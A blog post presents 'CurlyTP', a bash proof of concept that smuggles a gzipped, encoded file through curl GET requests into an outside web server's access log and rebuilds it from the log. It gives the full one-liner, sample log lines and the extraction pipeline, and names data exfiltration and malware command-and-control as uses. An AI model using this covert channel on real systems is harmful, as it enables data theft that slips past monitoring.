CurlyTP: Every Web Server is a Dead Drop

Wikipedia says that a dead drop is “a method of espionage tradecraft used to pass items or information between two individuals (e.g., a case officer and an agent, or two agents) using a secret location, thus not requiring them to meet directly and thereby maintaining operational security.

How is it that every web server is a dead drop, then? Think about what a web server does. It takes requests, serves the files, and write a log. It logs every request even if that request is invalid.

Consider it for a moment: Every web server gives you the privilege of writing something in its log file. Would it be possible to use this privilege to any advantage? Perhaps.

The proof of concept is simple. We’re taking a text file getting its md5sum and then gzipping it, uuencoding it, and then writing it to a web servers log file. On the destination server, we extract the uuencoded gzipped file, gunzip it, and check to see if the md5sum matches. It’s done in BASH just because it’s what I’m used to using. But if it can be done in BASH then it can by done in pretty much any “real” language. Let’s have a look!


1
2
3
4
5
6
7
8
9
CurlyTP

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4  g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]#  IFS=$'\n'  ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do  echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

There are a couple of concessions. We’re replacing spaces in the uuencode header with =+=, because URL’s don’t like spaces. We’re also using base64 encoding, just like email attachments use. The request is made with the ?transfer? keyword so that it can be found easily in the log file.

It’s important to note that the index page of the test server involved was just a plain html file.

Let’s have a look at the first few lines of the log file:


1
2
3
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

How do we extract that and turn it back into our file? As the Haynes manuals like to say: Installation is the reverse of removal.


1
2
3
4
5
6
7
8
9
10
Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue


[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4  g

The steps are laid out manually, but automating this would be trivial. The md5sum matches, and a glance at the file confirms that it’s the real thing.

The point of this exercise only to prove that files can be transferred via innocent little web requests can be done, and it will work on any web server with plain text logs. Indeed, every web server is a dead drop! Of course, you have to have a way to extract the data from the log file, which means read access to the log file. Many web servers give hosted websites read access to domlogs, and so this piece of the puzzle might not be too difficult to figure out.

Now the question is: What can we use it for? One would have to admit that this isn’t practical for any normal use. But what about an abnormal use?

Exfiltrating data, command and control of malware… there’s a lot of possibilities. I’m not a security researcher so I’m not going to say where this would be most useful. If nothing it’s an interesting look at how the tools we are used to using daily can be used different ways, and it’s an excuse to come up with a silly name:

CurlyTP

1 ping

  1. […] вариант — использовать в к…. Если подумать, […]

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.